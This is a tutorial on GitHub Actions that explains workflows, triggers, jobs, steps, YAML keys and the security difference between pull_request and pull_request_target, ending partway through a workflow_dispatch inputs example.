GitHub Actions — Deep Dive into CI/CD Automation

Prerequisites: Basic Git and GitHub usage (repos, branches, PRs, merges). Familiarity with YAML syntax. Understanding of what CI/CD means conceptually. Comfort with the command line and at least one programming language.

What GitHub Actions Is and Why It Matters

GitHub Actions is GitHub's native CI/CD and workflow automation platform, built directly into every GitHub repository. Instead of wiring up a separate service like Jenkins, CircleCI, or Travis CI, you define your automation in YAML files that live inside your repo under .github/workflows/. GitHub provides the compute, the orchestration, and the integration — you just describe what you want to happen and when.

What sets Actions apart from standalone CI/CD tools is its event-driven architecture deeply woven into GitHub's own ecosystem. Workflows can trigger on pushes and pull requests, sure — but also on issue comments, release publications, package registry events, wiki edits, project card movements, and even external webhooks via repository_dispatch. This means Actions isn't limited to build-and-test pipelines; it's a general-purpose automation engine for everything that happens in and around your repository.

mindmap
  root((GitHub Actions))
    CI/CD Automation
      Build & Test
      Deploy to Cloud
      Release Management
      Matrix Testing
    Event-Driven Workflows
      Push / PR Events
      Issue & Comment Triggers
      Scheduled Cron Jobs
      External Webhooks
    GitHub Ecosystem
      Pull Requests
      Issues & Projects
      Packages & Releases
      Security Advisories
    Marketplace
      17,000+ Reusable Actions
      Community Maintained
      Verified Creators
    vs Standalone CI/CD
      No Infrastructure to Manage
      No Separate Auth/Permissions
      Config Lives in the Repo
      Native Secret Management
    

The Shift from Third-Party CI/CD to Native Automation

Before GitHub Actions launched in 2019, automating a GitHub repository meant integrating an external CI/CD service. You'd create an account on Travis CI or CircleCI, grant it OAuth access to your repos, manage webhook configurations, and maintain a separate permissions model. Every integration point was a potential failure surface — broken webhooks, expired tokens, mismatched branch protections.

GitHub Actions collapsed that entire layer. Because it runs inside GitHub itself, there's no external service to authenticate, no webhooks to configure, and no separate dashboard to check. Your workflow files are version-controlled alongside your code, your secrets are managed in GitHub's settings, and status checks appear natively on pull requests. This tight coupling isn't just convenient — it fundamentally reduces the operational complexity of CI/CD.

Key Architectural Difference

Traditional CI/CD tools poll your repository or rely on webhooks to detect changes. GitHub Actions is triggered internally by GitHub's own event system — the same system that powers notifications, branch protections, and the activity feed. This means triggers are faster and more reliable than any external integration.

What a Workflow Actually Looks Like

A GitHub Actions workflow is a YAML file in .github/workflows/. It declares the events that trigger it, the jobs to run, and the steps within each job. Here's a minimal but realistic example that runs tests on every push and pull request:

yaml
name: CI Pipeline

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci
      - run: npm test

Every line here is declarative. You specify what event should trigger the workflow (on: push), where it should run (runs-on: ubuntu-latest), and what steps to execute. GitHub handles provisioning a fresh virtual machine, cloning your repository, and tearing everything down after the job completes. You never touch a server.

Key Value Propositions

Zero Infrastructure to Manage

GitHub-hosted runners are fully managed virtual machines (Ubuntu, Windows, or macOS) that spin up on demand and are destroyed after each job. You don't provision servers, install agents, or manage updates. For teams that need custom environments, self-hosted runners are also supported — but the hosted option means you can go from zero to a working CI/CD pipeline in minutes.

Configuration as Code

Workflow YAML files live in your repository and follow the same branching, review, and merge process as your application code. This means workflow changes get pull requests, code review, and a full audit trail in your Git history. No more clicking through a CI dashboard to figure out who changed a build step last week.

Massive Marketplace of Reusable Actions

The GitHub Marketplace hosts over 17,000 community-built actions covering everything from deploying to AWS and publishing to npm, to sending Slack notifications and running security scanners. Each action is referenced by a single uses: line in your YAML, and you pin it to a specific version for reproducibility.

Matrix Testing

Matrix strategies let you run the same job across multiple combinations of operating systems, language versions, or any other variable — without duplicating your workflow configuration. A single matrix definition can fan out to dozens of parallel jobs:

yaml
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      matrix:
        os: [ubuntu-latest, windows-latest, macos-latest]
        node-version: [18, 20, 22]
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node-version }}
      - run: npm ci
      - run: npm test

This single job definition produces 9 parallel runs (3 operating systems × 3 Node.js versions). Each combination gets its own isolated runner, and results are reported individually on the pull request.

Generous Free Tier

Public repositories get unlimited free minutes on GitHub-hosted runners. Private repositories on the free plan get 2,000 minutes per month. This makes Actions particularly attractive for open-source projects that need cross-platform CI without budget constraints.

GitHub Actions vs. Standalone CI/CD Tools

CapabilityGitHub ActionsJenkinsCircleCI / Travis CI
InfrastructureFully managed (hosted runners)Self-hosted; you manage serversCloud-managed with limited self-host
ConfigurationYAML in repo (.github/workflows/)Groovy Jenkinsfile or UIYAML in repo
Trigger ModelNative GitHub events (40+ types)Webhooks + pollingWebhooks (push/PR focused)
Ecosystem IntegrationDeep — issues, PRs, packages, releasesPlugin-based; requires configurationModerate; webhook-based
Reusable Components17,000+ Marketplace actions1,800+ Jenkins pluginsOrbs (CircleCI) / limited (Travis)
Cost for Open SourceFree (unlimited minutes)Free software; you pay for infraLimited free tiers
Secrets ManagementBuilt-in (repo, env, org levels)Credentials pluginEnvironment variables in UI
When to Choose GitHub Actions

If your source code already lives on GitHub, Actions is the path of least resistance. You skip the entire "integrate an external CI service" step and get native status checks, artifact storage, and secret management from day one. The main reason to look elsewhere is if you need advanced features like build artifact caching across organizations (Jenkins) or you're locked into a different Git platform.

Core Concepts: Workflows, Events, Jobs, Steps, and Actions

GitHub Actions has five core concepts that nest inside each other like layers. Understanding how they relate is the single most important thing you can do before writing your first pipeline. Once this mental model clicks, every workflow file you read will make immediate sense.

Here's the hierarchy from the outside in: an Event triggers a Workflow, which contains one or more Jobs, each made up of sequential Steps, where each Step either runs a shell command or invokes a reusable Action.

graph TD
    E["🔔 Event
(push, pull_request, schedule)"] --> W["📄 Workflow
(.github/workflows/*.yml)"] W --> J1["⚙️ Job A
(runs on Runner 1)"] W --> J2["⚙️ Job B
(runs on Runner 2)"] W --> J3["⚙️ Job C
(runs on Runner 3)"] J1 --> S1A["Step 1: run command"] J1 --> S1B["Step 2: uses action"] J1 --> S1C["Step 3: run command"] J2 --> S2A["Step 1: uses action"] J2 --> S2B["Step 2: run command"] J3 --> S3A["Step 1: uses action"] J3 --> S3B["Step 2: uses action"] style E fill:#f9a825,stroke:#f57f17,color:#000 style W fill:#42a5f5,stroke:#1565c0,color:#fff style J1 fill:#66bb6a,stroke:#2e7d32,color:#fff style J2 fill:#66bb6a,stroke:#2e7d32,color:#fff style J3 fill:#66bb6a,stroke:#2e7d32,color:#fff

Events — The Trigger

An Event is the external signal that starts a workflow. GitHub supports dozens of event types: a push to a branch, a pull_request being opened, a cron-based schedule, a manual workflow_dispatch, or even a webhook from an external system via repository_dispatch. You define which events your workflow listens to with the on: key at the top of the YAML file.

Events can be filtered to be very specific. You don't have to trigger on every push — you can narrow it to particular branches, paths, or tag patterns. This is how you avoid wasting runner minutes on irrelevant changes.

yaml
on:
  push:
    branches: [main]
    paths:
      - 'src/**'
  pull_request:
    branches: [main]
  schedule:
    - cron: '0 6 * * 1'   # Every Monday at 6 AM UTC
  workflow_dispatch:        # Manual trigger from the UI

Workflows — The YAML File

A Workflow is a single YAML file that lives in the .github/workflows/ directory of your repository. Each file defines one automated process — a CI build, a deployment pipeline, a nightly cleanup job. A repository can have as many workflow files as you need, and they operate independently of each other.

The workflow file ties together the trigger (which events), the compute (which runners), and the work (which jobs and steps). Here's the minimal skeleton:

yaml
name: CI Pipeline

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm install
      - run: npm test

Jobs — Parallel Units of Work

Jobs are the top-level units of work inside a workflow. By default, all jobs run in parallel on separate runner machines. This is a crucial detail — Job A and Job B get their own fresh virtual environment and cannot see each other's file system. They are completely isolated.

If you need Job B to wait for Job A (for example, don't deploy until tests pass), you explicitly declare a dependency with the needs: keyword. This creates a directed acyclic graph (DAG) of job execution.

yaml
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

  deploy:
    needs: [test, lint]          # Waits for BOTH to pass
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deploying..."
Jobs run on separate machines

Because each job gets its own runner, files created in one job are not available in another. To share data between jobs, you must use artifacts (upload/download) or job outputs (small string values). This isolation is by design — it ensures jobs are reproducible and can run on any available runner.

Steps — Sequential Instructions

Steps are the individual instructions inside a job. Unlike jobs, steps run sequentially — one after the other, in the order you list them. All steps within a job share the same runner, which means they share the same file system, environment variables, and working directory.

Each step does one of two things: it either runs a shell command with run:, or it invokes a reusable action with uses:. You can give each step an id: so that later steps can reference its outputs, and a name: to make the logs easier to read.

yaml
steps:
  - name: Check out code
    uses: actions/checkout@v4

  - name: Set up Node.js
    uses: actions/setup-node@v4
    with:
      node-version: '20'

  - name: Install dependencies
    run: npm ci

  - name: Run tests and capture result
    id: tests
    run: |
      npm test 2>&1 | tee test-output.txt
      echo "status=success" >> "$GITHUB_OUTPUT"

  - name: Report result
    run: echo "Tests finished with ${{ steps.tests.outputs.status }}"

Actions — Reusable Building Blocks

Actions are the reusable units that make GitHub Actions powerful. Instead of writing 20 lines of shell script to set up a Node.js environment, check out your code, or deploy to AWS, you reference a pre-built action that handles it for you. Actions are referenced with the uses: keyword and follow the format owner/repo@version.

There are three types of actions: JavaScript actions that run directly in Node.js, Docker container actions that run inside a container image, and composite actions that bundle multiple steps together. The GitHub Marketplace hosts thousands of community-built actions.

yaml
# Public action from the marketplace
- uses: actions/checkout@v4

# Action from a different repository
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789012:role/deploy
    aws-region: us-east-1

# Action from a subdirectory in the SAME repository
- uses: ./.github/actions/my-custom-action

# Docker Hub container action
- uses: docker://alpine:3.19
Always pin actions to a specific version

Use actions/checkout@v4 (major version tag) or even better, pin to a full SHA like actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11. Pinning to @main or @latest means a malicious or breaking update to the action can silently affect your pipeline.

How Data Flows Between Layers

Data movement in GitHub Actions follows strict boundaries defined by the hierarchy. Understanding where data can and cannot flow will save you hours of debugging.

Data FlowMechanismScope
Between Steps (same job)File system, environment variables, GITHUB_OUTPUTShared runner — direct access
Between Jobs (same workflow)Artifacts (actions/upload-artifact), job outputsSeparate runners — explicit transfer
Between Workflowsworkflow_call inputs/outputs, repository_dispatch, artifactsSeparate workflow files — loose coupling
Event → WorkflowEvent payload in github.event contextRead-only JSON available to all jobs

Within a job, passing data between steps is straightforward. You write to the $GITHUB_OUTPUT file and read it with the steps.<id>.outputs.<name> expression. For environment variables, you append to $GITHUB_ENV — any step after that can read the variable.

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.get_version.outputs.version }}
    steps:
      - id: get_version
        run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"

  deploy:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deploying v${{ needs.build.outputs.version }}"
Job outputs are strings only

The outputs mechanism between jobs can only pass short string values. If you need to share files (build artifacts, test reports, binaries), use the actions/upload-artifact and actions/download-artifact actions instead. There is a 10 MB limit on the total size of all job outputs combined.

Anatomy of a Workflow File: Your First Workflow

Every GitHub Actions workflow lives in a single YAML file inside your repository. Understanding how that file is structured — from its location on disk to the hierarchy of keys inside it — is the foundation for everything else you'll build with Actions.

In this section, you'll construct a real CI workflow from scratch, line by line. By the end, you'll have a working pipeline that checks out your code, sets up Node.js, installs dependencies, lints, and runs tests.

Where Workflow Files Live

GitHub Actions only discovers workflow files in one specific directory: .github/workflows/ at the root of your repository. The file must have a .yml or .yaml extension. You can name the file anything you want — ci.yml, deploy.yml, nightly-tests.yaml — the filename has no effect on behavior, but a descriptive name helps your team navigate quickly.

bash
mkdir -p .github/workflows
touch .github/workflows/ci.yml
Note

The .github/workflows/ path is case-sensitive. A file placed in .Github/Workflows/ or .github/workflow/ (singular) will be silently ignored by GitHub Actions.

The Three Top-Level Keys

Every workflow file is built from three essential top-level keys: name, on, and jobs. Think of them as the what, the when, and the how of your pipeline. Let's look at each one before assembling the full file.

name — What This Workflow Is Called

The name key gives your workflow a human-readable label that appears in the GitHub Actions UI (the "Actions" tab). It's technically optional — GitHub will fall back to the filename if you omit it — but you should always set it explicitly. A clear name like "CI" or "Deploy to Production" makes it much easier to identify runs at a glance.

yaml
name: CI

on — When This Workflow Runs

The on key defines the events that trigger the workflow. You can respond to repository events like push, pull_request, release, scheduled cron jobs, or even manual dispatches. For a CI pipeline, you typically want to run on pushes to main and on any pull request targeting main.

yaml
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

The branches filter is important. Without it, the workflow fires on pushes to every branch, which burns through your Actions minutes on feature branches that don't need it. Scoping triggers to main (and relying on pull_request for feature branches) is a best practice that balances coverage with cost.

jobs — What Actually Happens

The jobs map is where the real work lives. Each key under jobs is a job ID (a string you choose), and each job contains a runs-on key (which runner to use) and a steps list (the sequence of commands to execute). Jobs run in parallel by default — you use needs to make one job wait for another.

yaml
jobs:
  build-and-test:          # Job ID — you pick this name
    runs-on: ubuntu-latest # The runner environment
    steps:
      - name: Do something
        run: echo "Hello from CI"

The Complete Workflow — Fully Annotated

Now let's put all three keys together into a real-world CI workflow for a Node.js project. Every line is annotated so you understand not just what it does, but why it's there.

yaml
# -----------------------------------------------
# File: .github/workflows/ci.yml
# -----------------------------------------------

name: CI                          # Display name in the Actions tab

on:                               # Events that trigger this workflow
  push:
    branches: [main]              # Run on pushes to main only
  pull_request:
    branches: [main]              # Run on PRs targeting main

jobs:
  build-and-test:                 # Job ID (lowercase, hyphens)
    runs-on: ubuntu-latest        # Use GitHub's hosted Ubuntu runner

    steps:
      # ---- Step 1: Check out the repository ----
      - name: Checkout code
        uses: actions/checkout@v4
        # Clones your repo into the runner's workspace.
        # Without this, the runner starts with an empty directory.

      # ---- Step 2: Set up the Node.js runtime ----
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20        # Install Node.js 20.x
          cache: npm               # Cache ~/.npm to speed up installs

      # ---- Step 3: Install project dependencies ----
      - name: Install dependencies
        run: npm ci
        # "npm ci" is faster than "npm install" in CI because it
        # skips the package resolution step and installs directly
        # from package-lock.json, ensuring reproducible builds.

      # ---- Step 4: Run the linter ----
      - name: Lint
        run: npm run lint
        # Catches style violations and potential bugs before tests.
        # Fails fast — no point running tests if code doesn't lint.

      # ---- Step 5: Run the test suite ----
      - name: Run tests
        run: npm test
        # Executes whatever "test" script is defined in package.json.
        # A non-zero exit code here fails the entire workflow.

Key Concepts in the Workflow

There are a few important patterns in the workflow above that are worth calling out explicitly.

uses vs run

Steps come in two flavors. A uses step pulls in a pre-built action — a reusable unit of code published to the GitHub Marketplace (or any public repo). A run step executes a shell command directly on the runner. You'll mix both in almost every workflow: actions handle complex setup tasks, while run steps execute your project-specific commands.

KeywordWhat It DoesExample
usesRuns a reusable action (from Marketplace or repo)uses: actions/checkout@v4
runRuns a shell command on the runnerrun: npm test

Version Pinning with @v4

Notice that each action reference includes a version tag like @v4. This pins the action to a specific major version, so a breaking change in v5 won't silently break your pipeline. For maximum reproducibility, you can pin to an exact commit SHA instead (e.g., actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11), but the major-version tag is the most common balance between stability and staying current.

Why npm ci Instead of npm install?

In local development, npm install is fine — it resolves versions and may update package-lock.json. In CI, you want deterministic builds. npm ci deletes node_modules/ entirely, then installs exactly what's in package-lock.json. It's faster and guarantees that your CI environment matches what you tested locally.

Tip

The cache: npm option on actions/setup-node automatically caches the global npm cache directory between runs. This can cut dependency install time from 30+ seconds down to under 5 seconds on subsequent runs.

How Steps Execute

Steps inside a job run sequentially, top to bottom, in a single runner environment. Each step shares the same filesystem, so files created in Step 1 (like the cloned repo) are available in Step 5. If any step exits with a non-zero code, the entire job fails and subsequent steps are skipped (unless you override this with if: always()).

This sequential behavior is why step order matters. You must check out the code before you can install dependencies, and you must install dependencies before you can lint or test. Think of it as a script that runs from top to bottom — because under the hood, that's exactly what it is.

Warning

A common beginner mistake is forgetting the actions/checkout step. Without it, the runner's workspace is empty — your npm ci command will fail because there's no package.json to read. Always check out your code first.

Testing Your Workflow

To see this workflow in action, commit the file and push it to your repository. You can verify it's working in three ways:

bash
git add .github/workflows/ci.yml
git commit -m "ci: add CI workflow"
git push origin main

After pushing, navigate to the Actions tab in your GitHub repository. You'll see a new workflow run named "CI" with the commit message as its title. Click into it to see the build-and-test job, and expand each step to view its logs. A green checkmark means everything passed; a red X means a step failed and you'll find the error in that step's output.

Workflow YAML Syntax Reference

Every GitHub Actions workflow lives in a .yml or .yaml file inside your repository's .github/workflows/ directory. The schema is strict — GitHub validates every key at parse time, and a single typo can silently disable your workflow.

This reference covers every top-level key you can place in a workflow file, along with its type, whether it's required or optional, valid values, and a working example.

KeyTypeRequiredPurpose
namestringOptionalDisplay name in the Actions UI
run-namestring (supports expressions)OptionalDynamic name for each workflow run
onstring | array | mapRequiredEvents that trigger the workflow
permissionsstring | mapOptionalGITHUB_TOKEN permission scopes
envmapOptionalEnvironment variables for all jobs
defaultsmapOptionalDefault settings for all run steps
concurrencystring | mapOptionalControls concurrent run behaviour
jobsmapRequiredThe jobs to execute

name

The name key sets the human-readable label that appears in the GitHub Actions tab. If you omit it, GitHub uses the workflow file path (e.g., .github/workflows/ci.yml) as the display name instead. Setting an explicit name is a good habit — it makes the UI far easier to scan when you have many workflows.

yaml
name: CI Pipeline

run-name

While name labels the workflow itself, run-name labels each individual run. It supports GitHub Actions expressions, so you can embed dynamic context — the actor who triggered it, the branch name, or an input value. This is especially useful for workflow_dispatch workflows where multiple manual runs would otherwise look identical.

yaml
name: Deploy
run-name: Deploy to ${{ inputs.environment }} by @${{ github.actor }}

on:
  workflow_dispatch:
    inputs:
      environment:
        description: Target environment
        required: true
        type: choice
        options: [staging, production]
Note

run-name only has access to the github and inputs contexts. You cannot reference env, secrets, or job outputs here because the run name is resolved before any job starts.

on

The on key is the only truly required top-level key besides jobs. It defines which events trigger the workflow. You can express it in three forms — a single event string, an array of events, or a map with per-event configuration like branch filters, path filters, and activity types.

Single event

yaml
on: push

Multiple events (array)

yaml
on: [push, pull_request, workflow_dispatch]

Map with filters

yaml
on:
  push:
    branches: [main, release/*]
    paths-ignore: ['docs/**', '*.md']
  pull_request:
    branches: [main]
    types: [opened, synchronize, reopened]
  schedule:
    - cron: '30 5 * * 1'  # Every Monday at 05:30 UTC

The map form is the most common in production. The branches / branches-ignore filters accept glob patterns. The paths / paths-ignore filters let you skip runs when only irrelevant files change. The types filter narrows which activity types of an event you care about — by default, pull_request triggers on opened, synchronize, and reopened.

permissions

The permissions key controls the scopes granted to the GITHUB_TOKEN that is automatically injected into every workflow run. By default, the token receives fairly broad permissions. Following the principle of least privilege, you should explicitly declare only the scopes your workflow actually needs. You can set permissions at the workflow level (top-level) or override them per job.

Two shorthand values set all scopes at once:

yaml
# Grant read on every scope
permissions: read-all

# Grant write on every scope (avoid this)
permissions: write-all

The granular form is preferred. Each scope accepts read, write, or none:

yaml
permissions:
  contents: read
  issues: write
  pull-requests: write
  packages: none
Tip

Start with permissions: {} (empty map — grants nothing) and add scopes one at a time until your workflow passes. Any scope you don't list explicitly is set to none when using the map form. This is the safest approach.

env

The top-level env key defines environment variables that are available to every job and every step in the workflow. Values must be strings. You can also set env at the job level or step level — the most specific scope wins when there's a name collision.

yaml
env:
  NODE_ENV: production
  REGISTRY_URL: https://npm.pkg.github.com
  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}

jobs:
  build:
    runs-on: ubuntu-latest
    env:
      # Job-level env overrides workflow-level for this job
      NODE_ENV: test
    steps:
      - run: echo "$NODE_ENV"   # prints "test"

The override order is: step env → job env → workflow env. Expressions like ${{ secrets.API_KEY }} are valid in env values, but avoid putting secrets directly in top-level env unless every job in the workflow truly needs them.

defaults

The defaults key provides default settings for all run steps in the workflow. Currently, the only supported child key is defaults.run, which lets you set a default shell and working-directory. This prevents you from repeating the same working-directory on every single step when your code lives in a subdirectory.

yaml
defaults:
  run:
    shell: bash
    working-directory: ./apps/frontend

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      # These steps automatically run in ./apps/frontend with bash
      - run: npm ci
      - run: npm run build

You can also set defaults.run at the job level. A job-level default overrides the workflow-level default. Individual steps can still override both by specifying their own shell or working-directory.

concurrency

The concurrency key prevents multiple runs of the same workflow (or workflow group) from executing in parallel. This is critical for deployment workflows — you don't want two runs deploying to production simultaneously. When a new run starts, it either queues behind the in-progress run or cancels it, depending on the cancel-in-progress flag.

Simple form (string)

yaml
# Runs with the same group name queue (only one active at a time)
concurrency: production-deploy

Map form with cancel-in-progress

yaml
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

The group key accepts expressions — the pattern above creates a unique concurrency group per workflow per branch. With cancel-in-progress: true, pushing a new commit to a PR automatically cancels the still-running check from the previous push, saving CI minutes.

Warning

Do not use cancel-in-progress: true on deployment workflows targeting production. Cancelling a half-finished deployment can leave your infrastructure in a broken state. Use it for CI/test workflows where cancellation is safe.

jobs

The jobs key is where the actual work happens. It's a map where each key is a job ID (must start with a letter or _ and contain only alphanumeric characters, -, or _). By default, all jobs run in parallel. You create dependencies between them with the needs key to build sequential pipelines or fan-out/fan-in patterns.

Each job has a rich set of nested keys. Here are the most important ones:

Job KeyTypePurpose
runs-onstring | arrayRunner label(s) — required
needsstring | arrayJob dependencies (run after these)
ifexpressionConditional execution
stepsarraySequence of actions / shell commands
strategymapMatrix builds and fail-fast settings
environmentstring | mapDeployment environment with protection rules
outputsmapValues to pass to dependent jobs
timeout-minutesnumberMax run time (default: 360)
servicesmapSidecar containers (databases, etc.)
containerstring | mapRun the job inside a Docker container

Here's a realistic workflow combining most of the keys covered above:

yaml
name: CI & Deploy
run-name: "${{ github.ref_name }} — triggered by @${{ github.actor }}"

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read
  packages: write

env:
  NODE_VERSION: '20'

defaults:
  run:
    shell: bash

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}

jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node: [18, 20, 22]
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}
      - run: npm ci
      - run: npm test

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4
      - run: echo "Deploying ${{ github.sha }} to production"

Notice how the deploy job uses needs: test to wait for all matrix legs of test to pass, and the if condition ensures it only runs on pushes to main — not on pull requests. The concurrency block cancels in-progress runs on feature branches but queues them on main to avoid aborting deployments.

Code Events: push, pull_request, and pull_request_target

The push, pull_request, and pull_request_target events are the workhorses of most CI/CD pipelines. They fire when code changes land or are proposed, and each offers powerful filtering options to control exactly when your workflows run.

Understanding the differences between these three events — especially the security implications of pull_request_target — is essential for building both efficient and safe pipelines.

The push Event

The push event fires whenever commits are pushed to the repository, including branch pushes, tag pushes, and force-pushes. You rarely want a workflow to run on every push to every branch — that is where filters come in.

Branch Filters

Use branches to include specific branches, or branches-ignore to exclude them. Both support glob patterns. You cannot combine branches and branches-ignore in the same event — pick one strategy.

yaml
on:
  push:
    branches:
      - main
      - 'release/**'       # matches release/v1.0, release/beta/2.0
      - '!release/**-alpha' # exclude alpha releases within the include

    # OR use branches-ignore (cannot combine with branches):
    # branches-ignore:
    #   - 'dependabot/**'
    #   - 'tmp/**'

The ** glob matches any characters including /, so release/** matches nested branches like release/v1/hotfix. A single * matches any character except /. You can negate patterns with ! inside a branches filter, but at least one positive pattern must exist.

Tag Filters

Tag filters work the same way as branch filters. When a tag is pushed, you can match it with tags or exclude it with tags-ignore. This is especially useful for triggering release workflows on semantic version tags.

yaml
on:
  push:
    tags:
      - 'v[0-9]+.[0-9]+.[0-9]+'    # v1.0.0, v2.12.3
      - 'v[0-9]+.[0-9]+.[0-9]+-rc*' # v1.0.0-rc1
Branch vs. Tag: Only One Matches

When you push a tag, only tags / tags-ignore filters are evaluated. When you push a branch, only branches / branches-ignore filters apply. If you define both in the same push event, a tag push will be ignored if it does not match the tags filter, even if the branch filter would have matched.

Path Filters

Path filters let you skip workflow runs when only irrelevant files change. This is a major efficiency win — there is no reason to run your backend test suite when someone edits a README.

yaml
on:
  push:
    branches: [main]
    paths:
      - 'src/**'
      - 'package.json'
      - 'package-lock.json'
      - '!src/**/*.md'  # ignore markdown files inside src

  # Or exclude paths instead:
  # push:
  #   paths-ignore:
  #     - 'docs/**'
  #     - '*.md'
  #     - '.vscode/**'

Path filters are combined with branch filters using AND logic. A push must match both the branch filter and the path filter to trigger the workflow. If you use paths, the workflow only runs when at least one changed file matches. With paths-ignore, it runs unless all changed files match the ignored patterns.

The pull_request Event

The pull_request event triggers workflows in the context of a merge commit between the PR head branch and the base branch. This is the safe default for pull request workflows — it intentionally restricts access to secrets when the PR originates from a fork.

Activity Types

By default, pull_request triggers on three activity types: opened, synchronize (new commits pushed), and reopened. You can expand or narrow this list with the types keyword.

yaml
on:
  pull_request:
    types:
      - opened
      - synchronize
      - reopened
      - closed           # useful for cleanup tasks
      - labeled          # trigger on label changes
      - ready_for_review # skip draft PRs until ready

The full list of activity types includes: assigned, unassigned, labeled, unlabeled, opened, edited, closed, reopened, synchronize, converted_to_draft, ready_for_review, locked, unlocked, review_requested, review_request_removed, auto_merge_enabled, and auto_merge_disabled.

The pull_request event also supports the same branches, branches-ignore, paths, and paths-ignore filters as push. For pull requests, branch filters match against the base branch (the branch the PR targets), not the head branch.

The pull_request_target Event

The pull_request_target event looks similar to pull_request, but it behaves in a fundamentally different way. It runs the workflow as defined in the base branch (e.g., main), not the PR head branch. It also has full access to repository secrets — even for PRs from forks.

This event was designed for trusted automation tasks: labeling PRs, posting welcome comments, or running dependency-aware checks that need secret access. It was not designed for building and running untrusted fork code with elevated permissions.

yaml
# SAFE: uses only base branch code, never checks out fork code
on:
  pull_request_target:
    types: [opened, labeled]

jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - name: Add label based on files changed
        uses: actions/labeler@v5
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}
Security Critical: Never Blindly Checkout Fork Code

If you use pull_request_target and then actions/checkout with ref: ${{ github.event.pull_request.head.sha }}, you are running untrusted fork code with full access to your secrets. An attacker can modify any file in their fork — including workflow scripts, Makefiles, or build configs — to exfiltrate your tokens. Only do this if you have explicit safeguards like requiring a label from a maintainer before the job runs.

pull_request vs. pull_request_target

The distinction between these two events is the single most important security concept in GitHub Actions. The table below summarizes the key differences.

Aspectpull_requestpull_request_target
Workflow file sourcePR head branch (fork version)Base branch (e.g., main)
Code checked out by defaultMerge commit (head + base)Base branch commit
GITHUB_TOKEN permissionsRead-only for fork PRsRead/write
Access to secrets❌ No (fork PRs)✅ Yes
Safe to run untrusted code?✅ Yes — sandboxed⚠️ Only if you never checkout fork code
Primary use caseCI: build, test, lintTriage: label, comment, approve
flowchart LR
    subgraph PR["Pull Request from Fork"]
        HEAD["Fork HEAD commit
(untrusted code)"]
        BASE["Base branch commit
(your repo main)"]
    end

    subgraph E1["pull_request event"]
        direction TB
        WF1["Workflow from:
HEAD branch"]
        CO1["Checks out:
merge commit"]
        SEC1["Secrets: Not available
GITHUB_TOKEN: read-only"]
        SAFE1["Safe to build and test"]
        WF1 --> CO1 --> SEC1 --> SAFE1
    end

    subgraph E2["pull_request_target event"]
        direction TB
        WF2["Workflow from:
BASE branch"]
        CO2["Checks out:
BASE commit only"]
        SEC2["Secrets: Available
GITHUB_TOKEN: read/write"]
        SAFE2["Safe only if you
do not checkout HEAD"]
        WF2 --> CO2 --> SEC2 --> SAFE2
    end

    HEAD --> E1
    BASE --> E2
    

When To Use Each

Use pull_request as your default for any workflow that builds, tests, or executes code from the PR. It is deliberately sandboxed: fork PRs get a read-only GITHUB_TOKEN and no access to your repository secrets. This prevents a malicious fork from stealing credentials.

Use pull_request_target only for workflows that need write permissions or secrets but do not execute code from the PR. Common examples include auto-labeling, posting comments, or triggering downstream workflows. If you must combine pull_request_target with checking out the PR code, gate the job behind a required label like safe-to-test that only maintainers can apply.

Split Workflow Pattern

A proven pattern for fork PRs that need secret access (e.g., deploying a preview): use pull_request to build artifacts safely, upload them with actions/upload-artifact, then use a separate workflow_run workflow (triggered on completion of the first) to download the artifact and deploy it with secrets. This keeps untrusted code execution and secret access in completely separate workflows.

Manual and API Triggers: workflow_dispatch and repository_dispatch

Not every workflow should run automatically. Deployments, data migrations, one-off maintenance scripts — these need a human to press "go" or an external system to signal "now." GitHub Actions provides two event triggers for this: workflow_dispatch for manual runs with typed inputs, and repository_dispatch for programmatic triggers from any external source.

workflow_dispatch — Manual Triggers with Typed Inputs

workflow_dispatch lets you trigger a workflow from the GitHub UI's "Run workflow" button, the gh CLI, or the REST API. Its real power is typed inputs: you define a form with strings, booleans, dropdowns, and environment selectors that users fill out before the run starts. This turns a generic workflow into a self-service tool.

Defining Inputs

Each input has a type, a description, a default, and an optional required flag. GitHub supports four input types: string, boolean, choice, and environment.

yaml
name: Deploy Application

on:
  workflow_dispatch:
    inputs:
      environment:
        description: "Target deployment environment"
        required: true
        type: environment

      version:
        description: "Release tag to deploy (e.g. v1.4.2)"
        required: true
        type: string

      dry_run:
        description: "Simulate without making changes"
        required: false
        type: boolean
        default: false

      log_level:
        description: "Logging verbosity"
        required: false
        type: choice
        options:
          - info
          - debug
          - warn
          - error
        default: info

